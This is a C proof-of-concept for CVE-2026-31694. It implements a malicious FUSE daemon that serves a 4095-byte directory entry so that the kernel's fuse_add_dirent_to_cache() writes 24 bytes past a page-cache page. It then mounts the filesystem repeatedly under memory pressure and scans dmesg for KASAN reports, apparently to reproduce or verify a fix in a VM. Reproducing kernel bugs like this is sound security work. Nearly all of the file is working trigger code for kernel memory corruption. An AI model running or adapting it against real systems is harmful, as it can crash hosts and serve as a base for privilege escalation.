/*
 * CVE-2026-31694 - FUSE readdir cache OOB write trigger
 *
 * This program implements a malicious FUSE daemon that returns a dirent
 * with namelen=4095 (FUSE_NAME_MAX).  The kernel's fuse_add_dirent_to_cache()
 * computes reclen=FUSE_DIRENT_ALIGN(24+4095)=4120 and memcpy()'s it into a
 * single 4096-byte page-cache page, overflowing by 24 bytes.
 *
 * Build:  gcc -static -O2 -o fuse_evil fuse_evil.c
 * Run:    as PID 1 init in a VM (or standalone with --standalone)
 */
#define _GNU_SOURCE
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sched.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/reboot.h>
#include <linux/unistd.h>
#include <stdint.h>

/* ---- FUSE protocol constants (from include/uapi/linux/fuse.h) ---- */
#define FUSE_KERNEL_VERSION    7
#define FUSE_KERNEL_MINOR_VERSION 45

#define FUSE_LOOKUP     1
#define FUSE_FORGET     2
#define FUSE_GETATTR    3
#define FUSE_SETATTR    4
#define FUSE_INIT       26
#define FUSE_OPENDIR    27
#define FUSE_READDIR    28
#define FUSE_RELEASEDIR 29
#define FUSE_STATFS     17
#define FUSE_READDIRPLUS 44

#define FUSE_ASYNC_READ       (1 << 0)
#define FUSE_BIG_WRITES       (1 << 5)
#define FUSE_AUTO_INVAL_DATA  (1 << 12)
#define FUSE_DO_READDIRPLUS   (1 << 13)
#define FUSE_READDIRPLUS_AUTO (1 << 14)
#define FUSE_MAX_PAGES        (1 << 22)

#define FOPEN_CACHE_DIR       (1 << 3)

/* ---- FUSE structures ---- */
struct fuse_in_header {
    uint32_t len;
    uint32_t opcode;
    uint64_t unique;
    uint64_t nodeid;
    uint32_t uid;
    uint32_t gid;
    uint32_t pid;
    uint16_t total_extlen;
    uint16_t padding;
};

struct fuse_out_header {
    uint32_t len;
    int32_t  error;
    uint64_t unique;
};

struct fuse_init_in {
    uint32_t major;
    uint32_t minor;
    uint32_t max_readahead;
    uint32_t flags;
    uint32_t flags2;
    uint32_t unused[11];
};

struct fuse_init_out {
    uint32_t major;
    uint32_t minor;
    uint32_t max_readahead;
    uint32_t flags;
    uint16_t max_background;
    uint16_t congestion_threshold;
    uint32_t max_write;
    uint32_t time_gran;
    uint16_t max_pages;
    uint16_t map_alignment;
    uint32_t flags2;
    uint32_t max_stack_depth;
    uint16_t request_timeout;
    uint16_t unused[11];
};

struct fuse_attr {
    uint64_t ino;
    uint64_t size;
    uint64_t blocks;
    uint64_t atime;
    uint64_t mtime;
    uint64_t ctime;
    uint32_t atimensec;
    uint32_t mtimensec;
    uint32_t ctimensec;
    uint32_t mode;
    uint32_t nlink;
    uint32_t uid;
    uint32_t gid;
    uint32_t rdev;
    uint32_t blksize;
    uint32_t flags;
};

struct fuse_getattr_in {
    uint32_t getattr_flags;
    uint32_t dummy;
    uint64_t fh;
};

struct fuse_attr_out {
    uint64_t attr_valid;
    uint32_t attr_valid_nsec;
    uint32_t dummy;
    struct fuse_attr attr;
};

struct fuse_open_in {
    uint32_t flags;
    uint32_t open_flags;
};

struct fuse_open_out {
    uint64_t fh;
    uint32_t open_flags;
    int32_t  backing_id;
};

struct fuse_read_in {
    uint64_t fh;
    uint64_t offset;
    uint32_t size;
    uint32_t read_flags;
    uint64_t lock_owner;
    uint32_t flags;
    uint32_t padding;
};

struct fuse_release_in {
    uint64_t fh;
    uint32_t flags;
    uint32_t release_flags;
    uint64_t lock_owner;
};

struct fuse_statfs_out {
    struct {
        uint64_t blocks;
        uint64_t bfree;
        uint64_t bavail;
        uint64_t files;
        uint64_t ffree;
        uint32_t bsize;
        uint32_t namelen;
        uint32_t frsize;
        uint32_t padding;
        uint32_t spare[6];
    } st;
};

struct fuse_dirent {
    uint64_t ino;
    uint64_t off;
    uint32_t namelen;
    uint32_t type;
    char name[];
};

#define FUSE_REC_ALIGN(x) (((x) + sizeof(uint64_t) - 1) & ~(sizeof(uint64_t) - 1))
#define FUSE_NAME_OFFSET offsetof(struct fuse_dirent, name)
#define FUSE_DIRENT_ALIGN(x) FUSE_REC_ALIGN(x)
#define FUSE_DIRENT_SIZE(nl) FUSE_DIRENT_ALIGN(FUSE_NAME_OFFSET + (nl))

/* ---- Configuration ---- */
#define TARGET_NAMELEN  4095   /* FUSE_NAME_MAX = PATH_MAX - 1 */
#define MOUNTPOINT      "/mnt/fuse"
#define FUSE_DEV        "/dev/fuse"
#define ROOT_INO        1
#define FILE_INO        2

static int g_fuse_fd = -1;
static int g_verbose = 1;

static void logmsg(const char *fmt, ...) {
    if (!g_verbose) return;
    va_list ap;
    va_start(ap, fmt);
    fprintf(stderr, "[fuse_evil] ");
    vfprintf(stderr, fmt, ap);
    fprintf(stderr, "\n");
    va_end(ap);
}

/* ---- Send a FUSE response ---- */
static void send_response(uint64_t unique, int32_t error, const void *data, size_t data_len) {
    struct fuse_out_header hdr;
    char buf[8192]; /* enough for 4120-byte dirent + 16-byte header */
    hdr.len = sizeof(hdr) + data_len;
    hdr.error = error;
    hdr.unique = unique;
    memcpy(buf, &hdr, sizeof(hdr));
    if (data_len > 0)
        memcpy(buf + sizeof(hdr), data, data_len);
    /* Must write the entire response in a single write() */
    ssize_t n = write(g_fuse_fd, buf, sizeof(hdr) + data_len);
    if (n < 0)
        logmsg("write response failed: %s", strerror(errno));
}

static void send_error(uint64_t unique, int32_t err) {
    send_response(unique, err, NULL, 0);
}

/* ---- Build a fuse_attr for the root directory ---- */
static void fill_dir_attr(struct fuse_attr *attr, uint64_t ino) {
    memset(attr, 0, sizeof(*attr));
    attr->ino = ino;
    attr->mode = 0040755;  /* S_IFDIR | 0755 */
    attr->nlink = 2;
    attr->uid = 0;
    attr->gid = 0;
    attr->blksize = 4096;
}

/* ---- FUSE daemon main loop ---- */
static void fuse_daemon_loop(void) {
    char buf[65536];
    ssize_t n;

    logmsg("daemon loop started (pid=%d)", getpid());

    while (1) {
        n = read(g_fuse_fd, buf, sizeof(buf));
        if (n < 0) {
            if (errno == EINTR) continue;
            if (errno == EPERM || errno == EAGAIN) {
                /* Mount hasn't happened yet - retry */
                usleep(10000);
                continue;
            }
            logmsg("read from /dev/fuse failed: %s", strerror(errno));
            break;
        }
        if (n < (ssize_t)sizeof(struct fuse_in_header)) {
            logmsg("short read: %zd bytes", n);
            continue;
        }

        struct fuse_in_header *inh = (struct fuse_in_header *)buf;
        logmsg("opcode=%d unique=%lu nodeid=%lu len=%u",
               inh->opcode, inh->unique, inh->nodeid, inh->len);

        switch (inh->opcode) {
        case FUSE_INIT: {
            struct fuse_init_out out;
            memset(&out, 0, sizeof(out));
            out.major = FUSE_KERNEL_VERSION;
            out.minor = FUSE_KERNEL_MINOR_VERSION;
            out.max_readahead = 4096;
            out.flags = FUSE_ASYNC_READ | FUSE_BIG_WRITES |
                        FUSE_AUTO_INVAL_DATA | FUSE_MAX_PAGES;
            /* Do NOT set FUSE_DO_READDIRPLUS to keep it simple:
             * we use plain FUSE_READDIR */
            out.max_background = 16;
            out.congestion_threshold = 12;
            out.max_write = 4096;
            out.time_gran = 1;
            out.max_pages = 256;
            send_response(inh->unique, 0, &out, sizeof(out));
            logmsg("FUSE_INIT response sent (max_pages=%d)", out.max_pages);
            break;
        }

        case FUSE_GETATTR: {
            struct fuse_attr_out out;
            memset(&out, 0, sizeof(out));
            out.attr_valid = 3600;
            out.attr_valid_nsec = 0;
            if (inh->nodeid == ROOT_INO)
                fill_dir_attr(&out.attr, ROOT_INO);
            else
                fill_dir_attr(&out.attr, inh->nodeid);
            send_response(inh->unique, 0, &out, sizeof(out));
            logmsg("FUSE_GETATTR response sent for nodeid=%lu", inh->nodeid);
            break;
        }

        case FUSE_OPENDIR: {
            struct fuse_open_out out;
            memset(&out, 0, sizeof(out));
            out.fh = 1;
            out.open_flags = FOPEN_CACHE_DIR;  /* Enable readdir caching! */
            send_response(inh->unique, 0, &out, sizeof(out));
            logmsg("FUSE_OPENDIR response sent (FOPEN_CACHE_DIR set)");
            break;
        }

        case FUSE_READDIR: {
            struct fuse_read_in *ri = (struct fuse_read_in *)(buf + sizeof(*inh));
            logmsg("FUSE_READDIR offset=%lu size=%u", ri->offset, ri->size);

            if (ri->offset == 0) {
                /* Return one dirent with a very long name (namelen=4095).
                 * reclen = FUSE_DIRENT_SIZE(4095) = FUSE_REC_ALIGN(24+4095)
                 *        = FUSE_REC_ALIGN(4119) = 4120
                 * This exceeds PAGE_SIZE (4096) by 24 bytes. */
                size_t namelen = TARGET_NAMELEN;
                size_t reclen = FUSE_DIRENT_SIZE(namelen);  /* 4120 */
                size_t resp_len = reclen;

                char *resp = calloc(1, resp_len);
                if (!resp) {
                    send_error(inh->unique, -ENOMEM);
                    break;
                }
                struct fuse_dirent *de = (struct fuse_dirent *)resp;
                de->ino = FILE_INO;
                de->off = 1;          /* next offset (non-zero => more entries possible) */
                de->namelen = namelen;
                de->type = 8;         /* DT_REG */
                memset(de->name, 'A', namelen);
                /* No null terminator in FUSE dirent names */

                send_response(inh->unique, 0, resp, resp_len);
                logmsg("FUSE_READDIR sent dirent namelen=%zu reclen=%zu (overflow=%zu)",
                       namelen, reclen, reclen - 4096);
                free(resp);
            } else {
                /* EOF - return empty response */
                send_response(inh->unique, 0, NULL, 0);
                logmsg("FUSE_READDIR EOF at offset=%lu", ri->offset);
            }
            break;
        }

        case FUSE_RELEASEDIR: {
            send_response(inh->unique, 0, NULL, 0);
            logmsg("FUSE_RELEASEDIR");
            break;
        }

        case 38: { /* FUSE_DESTROY */
            send_response(inh->unique, 0, NULL, 0);
            logmsg("FUSE_DESTROY");
            break;
        }

        case FUSE_STATFS: {
            struct fuse_statfs_out out;
            memset(&out, 0, sizeof(out));
            out.st.blocks = 1000;
            out.st.bfree = 500;
            out.st.bavail = 500;
            out.st.files = 100;
            out.st.ffree = 50;
            out.st.bsize = 4096;
            out.st.namelen = 4095;
            out.st.frsize = 4096;
            send_response(inh->unique, 0, &out, sizeof(out));
            logmsg("FUSE_STATFS");
            break;
        }

        case FUSE_LOOKUP: {
            /* Return ENOENT for lookups */
            send_error(inh->unique, -2);  /* -ENOENT */
            logmsg("FUSE_LOOKUP -> ENOENT");
            break;
        }

        case FUSE_FORGET: {
            /* No response needed for FORGET */
            logmsg("FUSE_FORGET (no response)");
            break;
        }

        default:
            logmsg("unhandled opcode %d, returning -ENOSYS", inh->opcode);
            send_error(inh->unique, -38);  /* -ENOSYS */
            break;
        }
    }
    logmsg("daemon loop exited");
}

/* ---- getdents64 syscall wrapper ---- */
struct linux_dirent64 {
    uint64_t d_ino;
    int64_t  d_off;
    uint16_t d_reclen;
    uint8_t  d_type;
    char     d_name[];
};

static int do_getdents(int fd, void *buf, size_t bufsize) {
    return syscall(__NR_getdents64, fd, buf, bufsize);
}


/* ---- Memory pressure: create freed pages for KASAN detection ---- */
static void memory_pressure(void) {
    /* Allocate and free large blocks to fragment memory.
     * This increases the chance that the page adjacent to the readdir
     * cache page is freed, which KASAN will detect as OOB write. */
    logmsg("applying memory pressure (allocating and freeing 100MB)...");
    for (int i = 0; i < 10; i++) {
        size_t sz = 10 * 1024 * 1024;
        void *p = mmap(NULL, sz, PROT_READ|PROT_WRITE,
                       MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
        if (p != MAP_FAILED) {
            memset(p, 0, sz);
            munmap(p, sz);
        }
    }
    logmsg("memory pressure applied");
}

/* ---- Test: mount FUSE and trigger readdir ---- */
static int run_trigger(void) {
    int dirfd;
    char dents_buf[16384];
    int ret;

    /* Wait a moment for daemon to be ready */
    usleep(50000);

    /* Apply memory pressure to create freed pages */
    memory_pressure();

    /* Mount the FUSE filesystem */
    char mount_opts[256];
    snprintf(mount_opts, sizeof(mount_opts),
             "fd=%d,rootmode=0040000,user_id=0,group_id=0", g_fuse_fd);

    logmsg("mounting FUSE at %s (opts: %s)", MOUNTPOINT, mount_opts);
    ret = mount("fuse", MOUNTPOINT, "fuse", 0, mount_opts);
    if (ret < 0) {
        logmsg("mount failed: %s", strerror(errno));
        return -1;
    }
    logmsg("FUSE mounted successfully");

    /* Open the directory */
    dirfd = open(MOUNTPOINT, O_RDONLY | O_DIRECTORY);
    if (dirfd < 0) {
        logmsg("open mountpoint failed: %s", strerror(errno));
        return -1;
    }
    logmsg("opened %s (fd=%d)", MOUNTPOINT, dirfd);

    /* Call getdents64 with a large buffer.
     * ctx->count = bufsize = 16384, which is > 4096.
     * The kernel allocates: clamp(16384, 4096, max_pages<<12) = 16384.
     * This allows the daemon to return a 4120-byte dirent. */
    logmsg("calling getdents64 (bufsize=16384)...");
    ret = do_getdents(dirfd, dents_buf, sizeof(dents_buf));
    if (ret < 0) {
        logmsg("getdents64 failed: %s", strerror(errno));
        close(dirfd);
        return -1;
    }
    logmsg("getdents64 returned %d bytes", ret);

    /* Parse the returned dirents */
    int offset = 0;
    while (offset < ret) {
        struct linux_dirent64 *d = (struct linux_dirent64 *)(dents_buf + offset);
        logmsg("  dirent: ino=%lu off=%ld reclen=%u type=%u name=%.32s... (namelen~%zu)",
               d->d_ino, d->d_off, d->d_reclen, d->d_type, d->d_name,
               strlen(d->d_name));
        offset += d->d_reclen;
    }

    /* Do a second getdents64 to hit the cached path.
     * rewinddir: seek to 0 and read again - this will use the cached
     * readdir pages that were corrupted by the OOB write. */
    lseek(dirfd, 0, SEEK_SET);
    logmsg("calling getdents64 again (cached path)...");
    ret = do_getdents(dirfd, dents_buf, sizeof(dents_buf));
    if (ret < 0) {
        logmsg("second getdents64 failed: %s", strerror(errno));
    } else {
        logmsg("second getdents64 returned %d bytes", ret);
    }

    close(dirfd);

    /* Additional rounds: umount and remount to trigger more OOB writes.
     * Each new mount creates new page-cache pages, increasing the chance
     * that at least one overflow hits a KASAN-poisoned freed page. */
    for (int round = 0; round < 5; round++) {
        umount(MOUNTPOINT);
        usleep(10000);
        memory_pressure();
        if (mount("fuse", MOUNTPOINT, "fuse", 0, mount_opts) < 0) {
            logmsg("remount failed round %d: %s", round, strerror(errno));
            break;
        }
        dirfd = open(MOUNTPOINT, O_RDONLY | O_DIRECTORY);
        if (dirfd < 0) {
            logmsg("reopen failed round %d", round);
            continue;
        }
        lseek(dirfd, 0, SEEK_SET);
        ret = do_getdents(dirfd, dents_buf, sizeof(dents_buf));
        logmsg("round %d getdents64 returned %d bytes", round, ret);
        close(dirfd);
        umount(MOUNTPOINT);
    }

    /* Check dmesg for KASAN or crash indicators */
    logmsg("checking dmesg for KASAN/OOB indicators...");
    int dmesg_fd = open("/dev/kmsg", O_RDONLY);
    if (dmesg_fd >= 0) {
        char kmsg[8192];
        /* Read recent kernel messages */
        while (1) {
            ssize_t k = read(dmesg_fd, kmsg, sizeof(kmsg) - 1);
            if (k <= 0) break;
            kmsg[k] = '\0';
            /* Print lines that indicate the vulnerability */
            char *p = kmsg;
            while (*p) {
                char *nl = strchr(p, '\n');
                if (nl) *nl = '\0';
                if (strstr(p, "KASAN") || strstr(p, "BUG") ||
                    strstr(p, "slab-out-of-bounds") || strstr(p, "out-of-bounds") ||
                    strstr(p, "fuse") || strstr(p, "readdir") ||
                    strstr(p, "panic") || strstr(p, "Oops") ||
                    strstr(p, "memcpy") || strstr(p, "overflow")) {
                    printf("DMESG: %s\n", p);
                }
                if (nl) { p = nl + 1; } else break;
            }
        }
        close(dmesg_fd);
    } else {
        /* Fallback: use dmesg command */
        system("dmesg | grep -iE 'KASAN|BUG|out-of-bounds|overflow|panic|Oops|fuse|readdir' 2>/dev/null || true");
    }

    /* Also try reading the full dmesg to a file */
    system("dmesg > /tmp/dmesg_full.txt 2>/dev/null || true");

    return 0;
}

/* ---- Main: can be PID 1 init or standalone ---- */
int main(int argc, char **argv) {
    int standalone = 0;
    if (argc > 1 && strcmp(argv[1], "--standalone") == 0)
        standalone = 1;

    setenv("PATH", "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", 1);

    if (!standalone) {
        /* PID 1 init: mount basic filesystems */
        mount("proc", "/proc", "proc", 0, NULL);
        mount("sysfs", "/sys", "sysfs", 0, NULL);
        mount("devtmpfs", "/dev", "devtmpfs", 0, NULL);
    }

    printf("CVE-2026-31694 FUSE readdir cache OOB write trigger\n");
    printf("kernel: ");
    fflush(stdout);
    system("uname -r");

    /* Load FUSE module if needed */
    if (!standalone) {
        system("modprobe fuse 2>/dev/null || insmod /fuse.ko 2>/dev/null || true");
    }

    /* Create mountpoint */
    mkdir(MOUNTPOINT, 0755);

    /* Open /dev/fuse */
    g_fuse_fd = open(FUSE_DEV, O_RDWR);
    if (g_fuse_fd < 0) {
        logmsg("cannot open %s: %s", FUSE_DEV, strerror(errno));
        printf("ERROR: cannot open %s: %s\n", FUSE_DEV, strerror(errno));
        if (!standalone) { reboot(RB_POWER_OFF); }
        return 1;
    }
    logmsg("opened %s (fd=%d)", FUSE_DEV, g_fuse_fd);

    /* Fork: child = FUSE daemon, parent = trigger */
    pid_t pid = fork();
    if (pid < 0) {
        logmsg("fork failed: %s", strerror(errno));
        close(g_fuse_fd);
        if (!standalone) { reboot(RB_POWER_OFF); }
        return 1;
    }

    if (pid == 0) {
        /* Child: FUSE daemon */
        fuse_daemon_loop();
        _exit(0);
    }

    /* Parent: run the trigger */
    int ret = run_trigger();

    /* Signal daemon to stop */
    close(g_fuse_fd);
    kill(pid, SIGKILL);
    waitpid(pid, NULL, 0);

    /* Report result */
    if (ret == 0) {
        printf("RESULT: TRIGGER_SENT\n");
        printf("Check dmesg above for KASAN/out-of-bounds reports.\n");
        printf("On vulnerable kernel: KASAN slab-out-of-bounds write in memcpy at fuse_add_dirent_to_cache\n");
        printf("On fixed kernel: no KASAN report, readdir succeeds normally\n");
    } else {
        printf("RESULT: ERROR (trigger failed)\n");
    }

    fflush(stdout);

    if (!standalone) {
        sleep(2);
        reboot(RB_POWER_OFF);
    }
    for (;;) sleep(1);
    return 0;
}
